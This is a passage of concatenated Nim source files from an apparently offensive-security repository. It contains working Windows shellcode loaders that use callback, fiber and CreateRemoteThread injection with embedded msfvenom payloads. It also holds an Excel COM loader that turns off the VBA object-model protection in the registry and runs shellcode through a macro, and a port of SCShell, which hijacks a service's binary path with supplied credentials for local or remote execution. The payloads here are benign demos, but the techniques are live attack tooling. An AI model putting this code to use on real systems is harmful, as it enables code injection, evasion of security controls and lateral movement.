0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 52 | 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, 53 | 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, 54 | 0x63,0x2e,0x65,0x78,0x65,0x00] 55 | 56 | # This is essentially the equivalent of 'if __name__ == '__main__' in python 57 | when isMainModule: 58 | let tProcess = GetCurrentProcessId() 59 | 60 | echo "[*] Target Process: ", tProcess 61 | 62 | # Allocate memory 63 | let rPtr = VirtualAlloc( 64 | nil, 65 | cast[SIZE_T](shellcode.len), 66 | MEM_COMMIT, 67 | PAGE_EXECUTE_READ_WRITE 68 | ) 69 | # Copy Shellcode to the allocated memory section 70 | copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len)) 71 | 72 | # Callback execution 73 | EnumSystemGeoID( 74 | 16, 75 | 0, 76 | cast[GEO_ENUMPROC](rPtr) 77 | ) 78 | # here comes an error: "SIGSEGV: Illegal storage access. (Attempt to read from nil?)" - the shellcode is however executed successfully 79 | -------------------------------------------------------------------------------- /src/stack_string_allocation.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: zimawhit3 & m4ul3r (@m4ul3r_0x00) 3 | Source: https://github.com/zimawhit3/Bitmancer/blob/main/src/Bitmancer/core/str.nim 4 | License: BSD 3-Clause 5 | 6 | Description: 7 | Allocate a CString or WString on the stack using macros. 8 | 9 | Stack strings can be created manually with the following: 10 | var ss: array[10, char] 11 | ss[0] = 'A' 12 | ss[1] = 'B' 13 | ... 14 | 15 | Using the macro below will modify Nim's AST to transform a regular string this at compile time. 16 | 17 | See the usage in the `main` procedure on how to use these macros. 18 | ]# 19 | 20 | import std/[macros] 21 | 22 | proc assignChars(smt: NimNode, varName: NimNode, varValue: string, wide: bool) {.compileTime.} = 23 | var 24 | asnNode: NimNode 25 | bracketExpr: NimNode 26 | dotExpr: NimNode 27 | castIdent: NimNode 28 | for i in 0 ..< varValue.len(): 29 | asnNode = newNimNode(nnkAsgn) 30 | bracketExpr = newNimNode(nnkBracketExpr) 31 | dotExpr = newNimNode(nnkDotExpr) 32 | castIdent = 33 | if wide: ident"uint16" 34 | else: ident"uint8" 35 | bracketExpr.add(varName) 36 | bracketExpr.add(newIntLitNode(i)) 37 | dotExpr.add(newLit(varValue[i])) 38 | dotExpr.add(castIdent) 39 | asnNode.add bracketExpr 40 | asnNode.add dotExpr 41 | smt.add asnNode 42 | asnNode = newNimNode(nnkAsgn) 43 | bracketExpr = newNimNode(nnkBracketExpr) 44 | dotExpr = newNimNode(nnkDotExpr) 45 | bracketExpr.add(varName) 46 | bracketExpr.add(newIntLitNode(varValue.len())) 47 | dotExpr.add(newLit(0)) 48 | dotExpr.add(castIdent) 49 | asnNode.add bracketExpr 50 | asnNode.add dotExpr 51 | smt.add asnNode 52 | 53 | proc makeBracketExpression(s: string, wide: static bool): NimNode = 54 | result = newNimNode(nnkBracketExpr) 55 | result.add ident"array" 56 | result.add newIntLitNode(s.len() + 1) 57 | if wide: result.add ident"uint16" 58 | else: result.add ident"byte" 59 | 60 | macro stackStringA*(sect) = 61 | result = newStmtList() 62 | let 63 | def = sect[0] 64 | bracketExpr = makeBracketExpression(def[2].strVal, false) 65 | identDef = newIdentDefs(def[0], bracketExpr) 66 | varSect = newNimNode(nnkVarSection).add(identDef) 67 | result.add(varSect) 68 | result.assignChars(def[0], def[2].strVal, false) 69 | 70 | macro stackStringW*(sect) = 71 | result = newStmtList() 72 | let 73 | def = sect[0] 74 | bracketExpr = makeBracketExpression(def[2].strVal, true) 75 | identDef = newIdentDefs(def[0], bracketExpr) 76 | varSect = newNimNode(nnkVarSection).add(identDef) 77 | result.add(varSect) 78 | result.assignChars(def[0], def[2].strVal, true) 79 | 80 | 81 | #[ EXAMPLE CODE ]# 82 | import std/[strformat, strutils, widestrs] 83 | proc main() = 84 | # initialize a stackStringA 85 | var stackStr1 {.stackStringA.} = "I am a stackStringA" 86 | # get a pointer to the stack string 87 | let pStackStr1 = cast[pointer](stackStr1[0].addr) 88 | 89 | stdout.writeLine("stackStringA:") 90 | stdout.writeLine(&"\tAddress : 0x{cast[int](pStackStr1).toHex}") 91 | stdout.writeLine(&"\tContents: {cast[cstring](pStackStr1)}") 92 | stdout.writeLine(&"\tLength : {stackStr1.len}") 93 | stdout.writeLine(&"\tVar Type: {$type(stackStr1)}\n") 94 | 95 | # initialize a stackStringW 96 | var stackStr2 {.stackStringW.} = "I am a stackStringW" 97 | # get a pointer to the stack string 98 | let pStackStr2 = cast[pointer](stackStr2[0].addr) 99 | 100 | stdout.writeLine("stackStringW:") 101 | stdout.writeLine(&"\tAddress : 0x{cast[int](pStackStr2).toHex}") 102 | # Cast the array to a WideCString for printing 103 | stdout.writeLine(&"\tContents: {cast[WideCString](pStackStr2)}") 104 | stdout.writeLine(&"\tLength : {stackStr2.len}") 105 | stdout.writeLine(&"\tVar Type: {$type(stackStr2)}\n") 106 | 107 | # initialize a nim string - this is stored in the 108 | var nimStr1 = "I am a Nim String" 109 | # get a pointer to the nim string 110 | var pNimStr1 = cast[pointer](nimStr1[0].addr) 111 | stdout.writeLine("NimString:") 112 | stdout.writeLine(&"\tAddress : 0x{cast[int](pNimStr1).toHex}") 113 | stdout.writeLine(&"\tContents: {cast[cstring](pNimStr1)}") 114 | stdout.writeLine(&"\tLength : {nimStr1.len}") 115 | stdout.writeLine(&"\tVar Type: {$type(nimStr1)}") 116 | 117 | when isMainModule: 118 | main() -------------------------------------------------------------------------------- /src/shellcode_fiber.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: HopScotch, Twitter: @0xHop 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim/lean 7 | import osproc 8 | 9 | 10 | proc RunFiber[I, T](shellcode: array[I, T]): void = 11 | let MasterFiber = ConvertThreadToFiber(NULL) 12 | let vAlloc = VirtualAlloc(NULL, cast[SIZE_T](shellcode.len), MEM_COMMIT, PAGE_EXECUTE_READ_WRITE) 13 | var bytesWritten: SIZE_T 14 | let pHandle = GetCurrentProcess() 15 | WriteProcessMemory( pHandle, vAlloc, unsafeaddr shellcode, cast[SIZE_T](shellcode.len), addr bytesWritten) 16 | let xFiber = CreateFiber(0, cast[LPFIBER_START_ROUTINE](vAlloc), NULL) 17 | SwitchToFiber(xFiber) 18 | 19 | 20 | 21 | when defined(windows): 22 | 23 | # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler 24 | when defined(i386): 25 | # ./msfvenom -p windows/messagebox -f csharp, then modified for Nim arrays 26 | echo "[*] Running in x86 process" 27 | var shellcode: array[272, byte] = [ 28 | byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b, 29 | 0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b, 30 | 0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24, 31 | 0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a, 32 | 0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0, 33 | 0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c, 34 | 0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a, 35 | 0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2, 36 | 0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f, 37 | 0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52, 38 | 0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33, 39 | 0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89, 40 | 0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c, 41 | 0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67, 42 | 0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3, 43 | 0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20, 44 | 0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24, 45 | 0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff, 46 | 0x55,0x08] 47 | 48 | elif defined(amd64): 49 | # ./msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays 50 | echo "[*] Running in x64 process" 51 | var shellcode: array[295, byte] = [ 52 | byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51, 53 | 0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48, 54 | 0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48, 55 | 0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02, 56 | 0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e, 57 | 0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88, 58 | 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48, 59 | 0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e, 60 | 0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41, 61 | 0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24, 62 | 0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 63 | 0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e, 64 | 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41, 65 | 0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 66 | 0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1, 67 | 0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d, 68 | 0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, 69 | 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c, 70 | 0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d, 71 | 0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00] 72 | 73 | # This is essentially the equivalent of 'if __name__ == '__main__' in python 74 | when isMainModule: 75 | RunFiber(shellcode) 76 | -------------------------------------------------------------------------------- /src/excel_com_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | This is some funky shit. 5 | Winim allows you to use COM objects like a script via the "comScript" macro. 6 | References: 7 | - https://gist.github.com/enigma0x3/469d82d1b7ecaf84f4fb9e6c392d25ba 8 | ]# 9 | 10 | import strformat 11 | import winim/com 12 | 13 | comScript: 14 | var objExcel = CreateObject("Excel.Application") 15 | objExcel.Visible = false 16 | var WshShell = CreateObject("WScript.Shell") 17 | 18 | var Application_Version = objExcel.Version 19 | echo fmt"[+] Excel Version: {objExcel.Version} is detected on System" 20 | 21 | echo fmt"[+] Adjusting Excel Security Settings via Registry" 22 | var strRegPath = fmt"HKEY_CURRENT_USER\Software\Microsoft\Office\{Application_Version}\Excel\Security\AccessVBOM" 23 | WshShell.RegWrite(strRegPath, 1, "REG_DWORD") 24 | 25 | echo fmt"[+] Creating VBA object in Excel" 26 | var objWorkbook = objExcel.Workbooks.Add() 27 | var xlmodule = objWorkbook.VBProject.VBComponents.Add(1) 28 | 29 | echo fmt"[+] Planting Shellcode into Excel VBA Macro" 30 | var strCode = "#If Vba7 Then\n" 31 | strCode = strCode & "Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr\n" 32 | strCode = strCode & "Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr\n" 33 | strCode = strCode & "Private Declare PtrSafe Function RtlMoveMemory Lib \"kernel32\" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr\n" 34 | strCode = strCode & "#Else\n" 35 | strCode = strCode & "Private Declare Function CreateThread Lib \"kernel32\" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long\n" 36 | strCode = strCode & "Private Declare Function VirtualAlloc Lib \"kernel32\" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long\n" 37 | strCode = strCode & "Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long\n" 38 | strCode = strCode & "#EndIf\n" 39 | strCode = strCode & "\n" 40 | strCode = strCode & "Sub ExecShell()\n" 41 | strCode = strCode & " Dim Wyzayxya As Long, Hyeyhafxp As Variant, Zolde As Long\n" 42 | strCode = strCode & "#If Vba7 Then\n" 43 | strCode = strCode & " Dim Xlbufvetp As LongPtr, Lezhtplzi As LongPtr\n" 44 | strCode = strCode & "#Else\n" 45 | strCode = strCode & " Dim Xlbufvetp As Long, Lezhtplzi As Long\n" 46 | strCode = strCode & "#EndIf\n" 47 | strCode = strCode & " Hyeyhafxp = Array(252,72,131,228,240,232,192,0,0,0,65,81,65,80,82,81,86,72,49,210, _\n" 48 | strCode = strCode & "101,72,139,82,96,72,139,82,24,72,139,82,32,72,139,114,80,72,15, _\n" 49 | strCode = strCode & "183,74,74,77,49,201,72,49,192,172,60,97,124,2,44,32,65,193,201, _\n" 50 | strCode = strCode & "13,65,1,193,226,237,82,65,81,72,139,82,32,139,66,60,72,1,208,139, _\n" 51 | strCode = strCode & "128,136,0,0,0,72,133,192,116,103,72,1,208,80,139,72,24,68,139,64, _\n" 52 | strCode = strCode & "32,73,1,208,227,86,72,255,201,65,139,52,136,72,1,214,77,49,201,72, _\n" 53 | strCode = strCode & "49,192,172,65,193,201,13,65,1,193,56,224,117,241,76,3,76,36,8,69, _\n" 54 | strCode = strCode & "57,209,117,216,88,68,139,64,36,73,1,208,102,65,139,12,72,68,139, _\n" 55 | strCode = strCode & "64,28,73,1,208,65,139,4,136,72,1,208,65,88,65,88,94,89,90,65,88, _\n" 56 | strCode = strCode & "65,89,65,90,72,131,236,32,65,82,255,224,88,65,89,90,72,139,18,233, _\n" 57 | strCode = strCode & "87,255,255,255,93,72,186,1,0,0,0,0,0,0,0,72,141,141,1,1,0,0,65,186, _\n" 58 | strCode = strCode & "49,139,111,135,255,213,187,224,29,42,10,65,186,166,149,189,157,255, _\n" 59 | strCode = strCode & "213,72,131,196,40,60,6,124,10,128,251,224,117,5,187,71,19,114,111, _\n" 60 | strCode = strCode & "106,0,89,65,137,218,255,213,99,97,108,99,46,101,120,101,0)\n" 61 | strCode = strCode & " Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)\n" 62 | strCode = strCode & " For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)\n" 63 | strCode = strCode & " Wyzayxya = Hyeyhafxp(Zolde)\n" 64 | strCode = strCode & " Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)\n" 65 | strCode = strCode & " Next Zolde\n" 66 | strCode = strCode & " Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)\n" 67 | strCode = strCode & "End Sub\n" 68 | xlmodule.CodeModule.AddFromString(strCode) 69 | 70 | echo fmt"[+] Running Shellcode via Excel VBA Macro" 71 | objExcel.Run("ExecShell") 72 | objExcel.DisplayAlerts = false 73 | objWorkbook.Close(false) 74 | -------------------------------------------------------------------------------- /src/scshell_c_embed_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | References: 6 | - https://github.com/Mr-Un1k0d3r/SCShell 7 | ]# 8 | 9 | when not defined(c): 10 | {.error: "Must be compiled in c mode"} 11 | 12 | {.emit: """ 13 | // Author: Mr.Un1k0d3r RingZer0 Team 14 | // slightly modified to use with Nim 15 | 16 | #include 17 | #include 18 | 19 | #define LOGON32_LOGON_NEW_CREDENTIALS 9 20 | 21 | int SCShell(char *targetHost, char *serviceName, char *payload, char *domain, char *username, char *password) { 22 | LPQUERY_SERVICE_CONFIGA lpqsc = NULL; 23 | DWORD dwLpqscSize = 0; 24 | CHAR* originalBinaryPath = NULL; 25 | BOOL bResult = FALSE; 26 | 27 | printf("SCShell ***\n"); 28 | if(strcmp(targetHost,"local") == 0) { 29 | targetHost = NULL; 30 | printf("Target is local\n"); 31 | } else { 32 | printf("Trying to connect to %s\n", targetHost); 33 | } 34 | 35 | HANDLE hToken = NULL; 36 | if(strlen(username) != 0) { 37 | printf("Username was provided attempting to call LogonUserA\n"); 38 | bResult = LogonUserA(username, domain, password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken); 39 | if(!bResult) { 40 | printf("LogonUserA failed %ld\n", GetLastError()); 41 | ExitProcess(0); 42 | } 43 | } else { 44 | printf("Using current process context for authentication. (Pass the hash)\n"); 45 | if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) { 46 | printf("OpenProcessToken failed %ld\n", GetLastError()); 47 | ExitProcess(0); 48 | } 49 | } 50 | 51 | bResult = FALSE; 52 | bResult = ImpersonateLoggedOnUser(hToken); 53 | if(!bResult) { 54 | printf("ImpersonateLoggedOnUser failed %ld\n", GetLastError()); 55 | ExitProcess(0); 56 | } 57 | 58 | SC_HANDLE schManager = OpenSCManagerA(targetHost, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); 59 | if(schManager == NULL) { 60 | printf("OpenSCManagerA failed %ld\n", GetLastError()); 61 | ExitProcess(0); 62 | } 63 | printf("SC_HANDLE Manager 0x%p\n", schManager); 64 | 65 | printf("Opening %s\n", serviceName); 66 | SC_HANDLE schService = OpenServiceA(schManager, serviceName, SERVICE_ALL_ACCESS); 67 | if(schService == NULL) { 68 | CloseServiceHandle(schManager); 69 | printf("OpenServiceA failed %ld\n", GetLastError()); 70 | ExitProcess(0); 71 | } 72 | printf("SC_HANDLE Service 0x%p\n", schService); 73 | 74 | DWORD dwSize = 0; 75 | QueryServiceConfigA(schService, NULL, 0, &dwSize); 76 | if(dwSize) { 77 | // This part is not critical error will not stop the program 78 | dwLpqscSize = dwSize; 79 | printf("LPQUERY_SERVICE_CONFIGA need 0x%08x bytes\n", dwLpqscSize); 80 | lpqsc = GlobalAlloc(GPTR, dwSize); 81 | bResult = FALSE; 82 | bResult = QueryServiceConfigA(schService, lpqsc, dwLpqscSize, &dwSize); 83 | originalBinaryPath = lpqsc->lpBinaryPathName; 84 | printf("Original service binary path \"%s\"\n", originalBinaryPath); 85 | } 86 | 87 | bResult = FALSE; 88 | bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, payload, NULL, NULL, NULL, NULL, NULL, NULL); 89 | if(!bResult) { 90 | printf("ChangeServiceConfigA failed to update the service path. %ld\n", GetLastError()); 91 | ExitProcess(0); 92 | } 93 | printf("Service path was changed to \"%s\"\n", payload); 94 | 95 | bResult = FALSE; 96 | bResult = StartServiceA(schService, 0, NULL); 97 | DWORD dwResult = GetLastError(); 98 | if(!bResult && dwResult != 1053) { 99 | printf("StartServiceA failed to start the service. %ld\n", GetLastError()); 100 | } else { 101 | printf("Service was started\n"); 102 | } 103 | 104 | if(dwLpqscSize) { 105 | bResult = FALSE; 106 | bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, originalBinaryPath, NULL, NULL, NULL, NULL, NULL, NULL); 107 | if(!bResult) { 108 | printf("ChangeServiceConfigA failed to revert the service path. %ld\n", GetLastError()); 109 | ExitProcess(0); 110 | } 111 | printf("Service path was restored to \"%s\"\n", originalBinaryPath); 112 | } 113 | 114 | GlobalFree(lpqsc); 115 | CloseHandle(hToken); 116 | CloseServiceHandle(schManager); 117 | CloseServiceHandle(schService); 118 | return 1; 119 | } 120 | """.} 121 | 122 | proc SCShell(targetHost: cstring, serviceName: cstring, payload: cstring, domain: cstring, username: cstring, password: cstring): int 123 | {.importc: "SCShell", nodecl.} 124 | 125 | when isMainModule: 126 | echo "[*] Running SCShell" 127 | echo "" 128 | 129 | var result = SCShell( 130 | "local", 131 | "XblAuthManager", 132 | r"C:\WINDOWS\system32\cmd.exe /C calc.exe", 133 | "", # want to do it remotely? Change me! 134 | "", 135 | "" 136 | ) 137 | 138 | echo "" 139 | echo "[*] Result: ", bool(result) -------------------------------------------------------------------------------- /src/shellcode_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim/lean 7 | import osproc 8 | 9 | proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void = 10 | 11 | # Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D 12 | let tProcess = startProcess("notepad.exe") 13 | tProcess.suspend() # That's handy! 14 | defer: tProcess.close() 15 | 16 | echo "[*] Target Process: ", tProcess.processID 17 | 18 | let pHandle = OpenProcess( 19 | PROCESS_ALL_ACCESS, 20 | false, 21 | cast[DWORD](tProcess.processID) 22 | ) 23 | defer: CloseHandle(pHandle) 24 | 25 | echo "[*] pHandle: ", pHandle 26 | 27 | let rPtr = VirtualAllocEx( 28 | pHandle, 29 | NULL, 30 | cast[SIZE_T](shellcode.len), 31 | MEM_COMMIT, 32 | PAGE_EXECUTE_READ_WRITE 33 | ) 34 | 35 | var bytesWritten: SIZE_T 36 | let wSuccess = WriteProcessMemory( 37 | pHandle, 38 | rPtr, 39 | unsafeAddr shellcode, 40 | cast[SIZE_T](shellcode.len), 41 | addr bytesWritten 42 | ) 43 | 44 | echo "[*] WriteProcessMemory: ", bool(wSuccess) 45 | echo " \\-- bytes written: ", bytesWritten 46 | echo "" 47 | 48 | let tHandle = CreateRemoteThread( 49 | pHandle, 50 | NULL, 51 | 0, 52 | cast[LPTHREAD_START_ROUTINE](rPtr), 53 | NULL, 54 | 0, 55 | NULL 56 | ) 57 | defer: CloseHandle(tHandle) 58 | 59 | echo "[*] tHandle: ", tHandle 60 | echo "[+] Injected" 61 | 62 | when defined(windows): 63 | 64 | # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler 65 | when defined(i386): 66 | # ./msfvenom -p windows/messagebox -f csharp, then modified for Nim arrays 67 | echo "[*] Running in x86 process" 68 | var shellcode: array[272, byte] = [ 69 | byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b, 70 | 0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b, 71 | 0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24, 72 | 0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a, 73 | 0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0, 74 | 0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c, 75 | 0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a, 76 | 0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2, 77 | 0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f, 78 | 0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52, 79 | 0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33, 80 | 0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89, 81 | 0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c, 82 | 0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67, 83 | 0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3, 84 | 0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20, 85 | 0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24, 86 | 0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff, 87 | 0x55,0x08] 88 | 89 | elif defined(amd64): 90 | # ./msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays 91 | echo "[*] Running in x64 process" 92 | var shellcode: array[295, byte] = [ 93 | byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51, 94 | 0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48, 95 | 0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48, 96 | 0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02, 97 | 0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e, 98 | 0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88, 99 | 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48, 100 | 0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e, 101 | 0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41, 102 | 0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24, 103 | 0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 104 | 0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e, 105 | 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41, 106 | 